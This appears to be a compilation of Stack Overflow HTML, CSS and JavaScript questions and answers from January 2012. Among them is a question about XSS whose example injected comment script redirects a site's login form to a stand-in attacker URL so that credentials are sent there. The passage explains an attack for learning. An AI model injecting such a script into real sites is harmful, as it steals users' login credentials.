Best html questions in January 2012

CSS attribute selector does not work a href

24 votes

i need to use attribute selector in css to change link on different color and image. but it does not work

i have html

<a href="/manual.pdf">A PDF File</a>

and css

a {
     display: block;
     height: 25px;
     padding-left: 25px;
     color:#333;
     font: bold 15px Tahoma;
     text-decoration: none;
 }
 a[href='.pdf'] { background: red; }

why the background is no red?

thanks

Use the $ after your href. This will make the attribute value to match the end of the string.

a[href$='.pdf'] { /*css*/ }

JSFiddle: http://jsfiddle.net/UG9ud/

E[foo]        an E element with a "foo" attribute (CSS 2)
E[foo="bar"]  an E element whose "foo" attribute value is exactly equal to "bar" (CSS 2)
E[foo~="bar"] an E element whose "foo" attribute value is a list of whitespace-separated values, one of which is exactly equal to "bar" (CSS 2)
E[foo^="bar"] an E element whose "foo" attribute value begins exactly with the string "bar" (CSS 3)
E[foo$="bar"] an E element whose "foo" attribute value ends exactly with the string "bar" (CSS 3)
E[foo*="bar"] an E element whose "foo" attribute value contains the substring "bar" (CSS 3)
E[foo|="en"]  an E element whose "foo" attribute has a hyphen-separated list of values beginning (from the left) with "en" (CSS 2)

source: http://www.w3.org/TR/selectors/

Which internet blackout technique works best?

15 votes

I am thinking of various ways to blackout my site for a blackout protest. Which technique would work best?

Method 1 (easiest): Replace existing style sheet with a new one that has this code in it:

* { display: none; }

The benefit here is that search engines can still crawl the site, and people that are familiar with the protest and likely to understand its ramifications can still view the content by viewing source. The downside is that people might think something is wrong as there is no content at all displayed (I am fine with that).

Method 2: Add a background-color: #000; to body and color: #000 to all text elements except for any text element that may be describing why the site looks different. The benefit to this is that more people will understand what is happening. The disadvantage is that it does not really portray the message of the protest. Also, I think it may be bad practice to give text the same color as the background as it is a proven spam technique.

Method 3: Display a test pattern.

Many sites just block out their logos or have a dismissible dialog. I think you can still support a blackout protest without a 503. The point is to make people aware of the problem. You can put up a full-page fixed black div with a message and a link to relevant information. Even a banner about it would be helpful in getting the word out.

Here's what I'm using at http://thinkingstiff.com (link potentially NSFW due to language):

<a id="sopa" href="http://sopablackout.org/learnmore/">**** SOPA</a>
<style>
#sopa {
    background-color: black;
    color: white;
    cursor: pointer;
    display: block;
    font: normal 150px/500px Helvetica, Tahoma, Arial;
    height: 100%;
    letter-spacing: -11px;
    position: fixed;
    text-align: center;
    text-decoration: none;
    width: 100%;
    word-spacing: 50px;
    z-index: 9999;
}
</style>

Selecting text behind another element with createEvent

12 votes

I have a scenario where I have some text, which should be user-selectable. The problem is, that there's an UI overlay on top of it, which prevents selecting text by default. The logical way to keep the overlay and still be able to select the text, would be to use synthetic events (use document.createEvent), but due to some reason, it doesn't work as expected.

The events seem to be delegated correctly and fire their handlers, but no text is selected. I have an example here, which is a rough simplification of the problem.

A few notes

  1. In FF if you start your selection outside of the overlay, you are still able to select the text you want, even if it's under the overlay
  2. When you have a normal selection in the uncovered area and you click on the overlay, it would be expected from the delegated mousedown event to remove the selection, but it doesn't happen

Am I missing an event that should also be delegated (I have mousedown, mousemove and mouseup)? Or is it some kind of a security measure by browsers to disable such behavior (refer to the note nr 2)? Any other suggestions on how to get the desired result? I know I should work around the current overlay solution altogether, but I'm already curious about the problem itself.

I have found two solutions for this problem:

  1. "pointer-events" css property. Requires IE 9.0+ though.
  2. Seems like guys from ExtJS solved it by event forwarding: demo, source, blog post

Why doesn't Twitter and Google API documentation encode ampersands in URLs?

10 votes

I have read I should encode my ampersands as &amp; in HTML.
However numerous code samples from respected companies somehow forget to do this.

Just a few examples off the top of my head:

Google Web Fonts sample code:

<link href='http://fonts.googleapis.com/css?family=PT+Sans&subset=latin,cyrillic' rel='stylesheet' type='text/css'>

Google Maps documentation:

<script type="text/javascript" src="http://maps.googleapis.com/maps/api/js?sensor=false&language=ja">

Twitter Anywhere official tutorial:

<script src="http://platform.twitter.com/anywhere.js?id=YOUR_API_KEY&v=1" type="text/javascript"></script>

Is there any real benefit from not escaping ampersand in links?
Is this related to browser quirks? Is this just a mistake in documentation?

Dear answerers, please make sure you're answering the right question.

I know I should escape ampersands per spec. I also know why the mechanism was invented in the first place. I'm not asking about this. My question is:

Is there a reason API documentation by respectable companies often violates this rule?

Is there any real benefit from not escaping ampersand in links?

It saves a few keystrokes.

Is this related to browser quirks?

No

Is this just a mistake in documentation?

Yes

Is there a reason API documentation by respectable companies often violates this rule?

Ignorance and/or laziness. Browsers perform error recovery so they either don't notice the errors or they don't care. The documentation probably isn't written by their best experts.

How to make a circular Div in Chrome?

9 votes

I have this div which acts a lens in zooming of the image. But the problem is that I want it circular I am using this for that:

-webkit-border-radius:999px;-moz-border-radius:999px;border-radius:999px;

problem is that it makes the div circular but do not hide the image corners which are not part of the circle and hence show a rectangle.

Url is: http://chokate.maninactionscript.com/chokates/ Click on the desert picture and then see the bigger image on the right for zoom effect. If you give the lens div border 1px solid red then you can see that the div is actually circular but it doesn't hide the useless part of images.

Any ideas?

If you have an image inside an element that has border-radius set, and you want to hide the "corners" of the image, you need to set border-radius on the image to match.

But in your case that won't work because your image is much larger than your containing element. Better is to use a <div> as the lens and set background-image to match your image.

Demo: http://jsfiddle.net/ThinkingStiff/wQyLJ/

HTML:

<div id="image-frame">
<img id="image" src="http://thinkingstiff.com/images/matt.jpg" />
<div id="lens" ></div>
<div>

CSS:

#image-frame {
    position: relative;
}

#lens {
    background-repeat: no-repeat;
    border-radius: 150px;
    height: 150px;
    position: absolute;
    width: 150px;
}

Script:

document.getElementById( 'image-frame' ).addEventListener( 'mousemove', function ( event ) {

    var lens = document.getElementById( 'lens' ),
        image = document.getElementById( 'image' ),
        radius = lens.clientWidth / 2,
        imageTop = this.documentOffsetTop,
        imageLeft = this.documentOffsetLeft,
        zoom = 4,
        lensX = ( event.pageX - radius - imageLeft ) + 'px',
        lensY = ( event.pageY - radius - imageTop ) + 'px',
        zoomWidth = ( image.clientWidth * zoom ) + 'px',
        zoomHeight = ( image.clientHeight * zoom ) + 'px',
        zoomX = -( ( ( event.pageX - imageLeft ) * zoom ) - radius ) + 'px',
        zoomY = -( ( ( event.pageY - imageTop ) * zoom ) - radius ) + 'px';

    if( event.pageX > imageLeft + image.clientWidth 
        || event.pageX < imageLeft
        || event.pageY > imageTop + image.clientHeight 
        || event.pageY < imageTop  ) {

        lens.style.display = 'none';

    } else {

        lens.style.left = lensX;
        lens.style.top = lensY;
        lens.style.backgroundImage = 'url(' + image.src + ')';
        lens.style.backgroundSize = zoomWidth + ' ' + zoomHeight;
        lens.style.backgroundPosition = zoomX + ' ' + zoomY;
        lens.style.display = 'block';

    };

}, false );

window.Object.defineProperty( Element.prototype, 'documentOffsetTop', {
    get: function () { 
        return this.offsetTop + ( this.offsetParent ? this.offsetParent.documentOffsetTop : 0 );
    }
} );

window.Object.defineProperty( Element.prototype, 'documentOffsetLeft', {
    get: function () { 
        return this.offsetLeft + ( this.offsetParent ? this.offsetParent.documentOffsetLeft : 0 );
    }
} );

Output:

enter image description here

VIM possible to detect multiple languages on same file

9 votes

Is VIM able to detect multiple languages on same file? Sometimes I am prototyping and I dump HTML/CSS/JS/PHP on the same page and to use the right language I must run : setf xlangx.

Take a look at the Different syntax highlighting within regions of a file Vim Wikia tip.

Does the h1 need to be the first semantic element in a header tag?

9 votes

I am using a Chrome outliner extension to check the semantics of my page. It seems to be a problem to have any structural element before the h1 in the document main header tag. I was thinking the order does not matter, but apparently it does:

+Document Body
  +Header
    +nav
      +h1 Main Navigation
    +h1 MyPage
  -Section
  -Footer

Does outline like this:

Untitled Body
  Main Navigation
  MyPage
  etc...

But when the h1 is the first element in my header:

+Document Body
  +Header
    +h1 MyPage
    +nav
      +h1 Main Navigation
  -Section
  -Footer

it does outline like this:

MyPage
  Main Navigation
  etc...

Why is that? Is the outliner buggy, or did I understand something wrong in HTML5 semantics? The W3C Specification does not seem to mention it: http://dev.w3.org/html5/spec/Overview.html#the-header-element

After revisiting the specs, I agree that the h1 does not have to be the first element. I suspect the issue is with the chrome extension you are using.

I ran the following two scenarios through this HTML outlining tool and received the same results (My Navigation appears under My Header):

With h1 second element under header:

<body>
<header>
<h1>My Header</h1>
<nav><h1>My Navigation</h1></nav>
</header>
<section><h1>My Section</h1></section>
<footer></footer>
</body>

With H1 first element under header:

<body>
<header>
<nav><h1>My Navigation</h1></nav>
<h1>My Header</h1>
</header>
<section><h1>My Section</h1></section>
<footer></footer>
</body>

Is this an example of an XSS attack?

8 votes

I'm a PHP developer and I'm looking to improve the security of my sites.

From what I understand the following are two major types of vulnerabilities which affect web applications:

  • SQL Injection
  • XSS

SQL Injection can be fixed with prepared statements - easy.

But I still don't really get XSS - is the following an example of XSS?...

  • Page full of user-made content has a login form at the top (site-wide).
  • The user's input to the page is not HTML-escaped.
  • A user posts the following content (e.g. a comment) to the page...
A really nice comment

<!-- now an evil script (example here with jquery, but easily done without) --->
<script type="text/javascript">
$(document).ready(function() {
    $('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php');
});
</script>
  • An innocent user comes to the page, the script executes.
  • The innocent user realises they're not logged in, and enter their details into the form.
  • The user's details are sent off to http://somehackysite.com/givemyourpw.php and then the user's account details are stolen.

So I really have three questions here:

  1. Would this work?
  2. Is this XSS?
  3. Are there any precautions developers should take against XSS other than escaping HTML?

There are two types are XSS attacks: Reflected XSS and Persistent XSS attacks. What you've described, where a user of the site inputs data that gets saved on the server side, and is rendered for anyone viewing a page, is considered Persistent XSS. Similar attacks would be if you have a comment box on a post that doesn't escape Javascript, or a profile page I can put anything into.

The other class of XSS attacks is Reflected XSS. These are a little more complicated, but they amount to one of the arguments in the URL for a page not being escaped. They frequently come up in things like Search pages on large websites. You'll get a URL that includes some javascript in it (sorry, my example got mangled by the renderer here, so I can't show you an example) , and the page will render the javascript which would allow someone to craft a malicious URL. These are especially dangerous on sites that hand any sort of financial data; imagine a conscientious user who always checks to make sure the they're going to the write link to their bank, but because of a Reflected XSS attack an attacker is able to send them to a legitimate page on their bank's website, but that has malicious code in it.

In any case, your example is Persistent XSS. You can do even more nefarious things with attacks like that than just changing where a login form sends users. They've been popular for years to do things like scraping information from personal areas of sites, or coupled with CSRF to cause an authenticated user to do something by simply looking at a page. There were a few MySpace viruses a while back that did that, and spread from profile to profile.

How to prevent users from accessing a web application from a locally saved Html login page?

8 votes

I have a web application which is used by lots of non-technical users. I have found that several of these users are saving the login page of the application to their desktops (which also saves the associated CSS and JS files). Then, to start using the application, they double click on that desktop icon which shows the local copy using the file:// protocol.

This can cause problems later on, e.g. if I change the login form, or the URL it posts to, etc. Also, certain javascript utilities, e.g. PIE.htc don't work using the file:// protocol.

Obviously what they should be doing is saving a browser bookmark/favorite, I'm looking for a way of detecting and warning those users without confusing the rest. I have been using some javascript to warn these users:

if (top.location.protocol == 'file:') {
    alert('This application is not designed to be accessed from a desktop copy...')
}

But this will only warn users that have saved the desktop copy since I have added this piece of javascript.

Has anyone else had this problem and come up with clever solutions that they'd like to share?

Thanks

Update:

In the end I decided to do this by setting a cookie with a nonce value upon login page request, and storing the same value as a hidden field in the form. Then, in the form submit handler, check that the two are the same and show an error message if not. One could store the nonce in a session instead of a cookie, but I don't want to create unnecessary sessions.

If the user has saved the login page locally, they will likely have different nonce values in the saved form compared to the cookie (if they have a cookie at all).

Normally one wouldn't add CSRF protection (that's sort of what this is) to a login form, but it fulfills my requirements. I read about this technique on The Register, http://www.theregister.co.uk/2009/10/02/google_web_attack_protection/, Google implemented similar protection for their login forms, to protect against forging of login requests, http://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests.

Maybe cookies? If site is running with file:\\ there probably are not any cookies within request. (Of course, now you should add some cookie (session data) on your login page.

Also, read about CSRF http://en.wikipedia.org/wiki/Cross-site_request_forgery and preventing method.

Is it safe to assume users can see unicode characters U+2716 and U+2714 in CSS content?

7 votes

I'm wanting to use the characters ✖ (U+2716) and ✔ (U+2714) in my CSS for form validation purposes. Basically, if a field is valid/invalid, I use the after pseudo class to insert the corresponding symbol after the field.

For example:

.field:after {
  content: "\2716";
}

This is working great on my Mac, but when I switch to my Windows XP VMWare instance, I don't get the characters, no matter what font I choose (even Arial).

My suspicion is that perhaps my Windows VM isn't configured properly, but that causes me to be weary of using these characters at all.

Does anyone know if there are "safe" characters or ranges in unicode that you can reliably assume will be viewable by most people?

UDPATE:

Here is a list of unicode characters I was hoping to possibly be able to use as icons. Specifically the dingbats section. http://en.wikipedia.org/wiki/List_of_Unicode_characters#Dingbats

If you don't see these characters on your machine, definitely let me know in the comments.

In addition to the problems of using CSS for presenting essential information (see CSS Caveats), there’s the problem that the characters mentioned are often not available in people’s computers. The fonts supporting them do not contain any font that is shipped with a Windows system, for example. Support exists in Arial Unicode MS, which is shipped with Microsoft Office, but not everyone is using Office.

Besides, the symbols are not universal. A symbol like “✔” meant wrong when I was at school.

Using “OK” and “error” might be best, unless you need to use some other language.

Automatically Invokes a jQuery Plugin on a Dynamically-Created Element

7 votes

I need to apply a jQuery plugin to an HTML element that will be created upon a user's input. For example:

<!-- Upon click, this link creates a new div with an id of 'target'. -->
<a id="trigger-a" href="javascript:void(0);">Create a new div</a>

/* This will not work because div#target isn't available yet upon page load. */
$(function() {
  $("div#target").aJQueryPlugin( ... );
});

In the simplest form, I can call the plugin inside the <a>'s click handler, after the div is created.

$(function() {
  $("#trigger-a").click(function() {
    // Create div#target.

    // I can call the plugin here but is there a different, maybe better, way?
    $("div#target").aJQueryPlugin( ... );
  });
});

However, if possible, I am looking for something that is more "automatic"; maybe using .on() that automatically invokes the plugin once the element becomes available?

Paraphrasing the question: In jQuery, is there a way to "monitor" when a certain element becomes available (i.e. after it's being created)? If there is, I'd then call the plugin or other functions as a callback.

Maybe something like this? http://jsfiddle.net/Q2UYC/

Triggering custom event let you bind event handler later.

Duplicate id within noscript

7 votes

Is the following HTML/Javascript valid (strict) when Javascript is enabled, so is the id in the noscipt tag ignored?

<body>
    <noscript>
        <div id="test"></div>
    </noscript>
    <script type="text/Javascript">
        var el = document.createElement('span');
        el.id = 'test';
        document.body.appendChild(el);
    </script>
</body>

When javascript is enabled, the content of <noscript> is raw text, not element content, so the child of the <noscript> element is a text node with value "\n <div id="test"></div>\n" instead of a DIV element. A getElementById("test") will not find a <div> with the ID "test" because there is no such element, only a text node whose content would parse to a DIV if it appeared outside a raw text context.

http://www.w3.org/TR/html5/scripting-1.html#the-noscript-element

Outside of head elements, if scripting is enabled for the noscript element
The noscript element must contain only text...

Internet Explorer not executing Javascript in order

7 votes

I'm developing a web app that needs to do some backend processing while still displaying the information on screen. Obviously this is best suited for AJAX, which I'm using. However, prior to beginning the AJAX request, I'm making a few visual changes via Javascript. Specifically:

document.getElementById('calc').innerHTML = 'Calculating...'; document.getElementById('calc').disabled = true;

I then go on to call a servlet via AJAX.

This works fine in Firefox. However in Internet Explorer (version 8), the visual changes never take effect. The app just sits there for a minute or two until the AJAX processing is done. It seems like the AJAX code is executing before the page changes, but I don't know why that would be.

Any assistance would be greatly appreciated.

EDIT: Here's my best effort at a Short, Self Contained, Correct, Example

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<script>
var inEdit = 0;
var calcCurrent = false; 
function recalc() {
var xmlhttp=new XMLHttpRequest();
if (xmlhttp==null)
{
  var tmp = "Your browser does not support XML! ";
  tmp += "Please contact your Technical Support division for information on how to upgrade.";
  alert(tmp);
}
else
{
  document.getElementById('calc').innerHTML = 'Calculating...';
  document.getElementById('calc').disabled = true;
  var url = "http://www.nzherald.co.nz/";
  xmlhttp.open("GET",url,false);
  xmlhttp.send(null);
  if (xmlhttp.responseText.indexOf("Success")>=0) {
    alert(xmlhttp.responseText);
  }
  else
    alert(xmlhttp.responseText);
  document.getElementById('calc').value = 'Recalculate';
  document.getElementById('calc').disabled = false;
}
}
</script>
</head>
<body>
<a id='calc' class='Button' href="javascript:recalc()" >Recalculate</a>
</body>
</html>

The only issue example with this is that this URL returns almost instantly. On my app it's pointing to a page that does database processing for about a minute, and so the problem is a lot more obvious.

You are passing "false" for the async parameter to xmlhttp.open() call. Because the stack has not unwound since you set the innerHTML property of the calc element, IE has not had a chance to repaint the screen.

You have a few options.

  1. Restructure your code such that you make the ajax call async and get the result via a callback notification.

  2. OR.... Set the innerHTML property on calc, then call setTimeout with a delay of 0 and a callback function that is written to call xmlhttp.open as you have it now. This will allow the stack to unwind and IE will repaint the DOM changes followed by your ajax call executing. Below is a hacked up version of your code to demonstrate what I am talking about.

Below is some hacked up code demonstrating #2.

var xmlhttp;

function recalc() {
    xmlhttp=new XMLHttpRequest();
    if (xmlhttp==null)
    {
      var tmp = "Your browser does not support XML! ";
      tmp += "Please contact your Technical Support division for information on how to upgrade.";
      alert(tmp);
    }
    else
    {
      document.getElementById('calc').innerHTML = 'Calculating...';
      document.getElementById('calc').disabled = true;
      setTimeout(recalc_start, 0);
    }
}

function recalc_start() {
  var url = "http://www.nzherald.co.nz/";

  xmlhttp.open("GET",url,false);
  xmlhttp.send(null);
  if (xmlhttp.responseText.indexOf("Success")>=0) {
    alert(xmlhttp.responseText);
  }
  else {
    alert(xmlhttp.responseText);
  }
  document.getElementById('calc').value = 'Recalculate';
  document.getElementById('calc').disabled = false;
}

HTML with Hebrew characters displaying weird

7 votes

I have a chatbox that displays chats like this

Username: my chat message

Username2: chat message

But then someone registered using Hebrew characters on his username now when he posts on our chatbox it is displayed incorrectly. It would display like this

תירבע: 12345

Username: my chat message

Username2: chat message

This only happens if he posts numbers. Sample HTML

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>Chatbox</title></head>
<body>
    <div><span><a target="_BLANK" style="" href="#">&#1514;&#1497;&#1512;&#1489;&#1506;</a>:</span><span>12345</span></div>
    <div><span><a target="_BLANK" style="" href="#">&#1514;&#1497;&#1512;&#1489;&#1506;</a>:</span><span>this is not numbers so it is displayed correctly</span></div>
    <div><span><a target="_BLANK" style="" href="#">Username1</a>:</span><span>message1</span></div>
    <div><span><a target="_BLANK" style="" href="#">Useraname2</a>:</span><span>message2</span></div>
</body>
</html>

And the output of that is this

תירבע:12345
תירבע:this is not numbers so it is displayed correctly
Username1:message1
Useraname2:message2

How can I make it display correctly so that the username should appear first?

Add this CSS rule:

span a {
    unicode-bidi: embed;  
}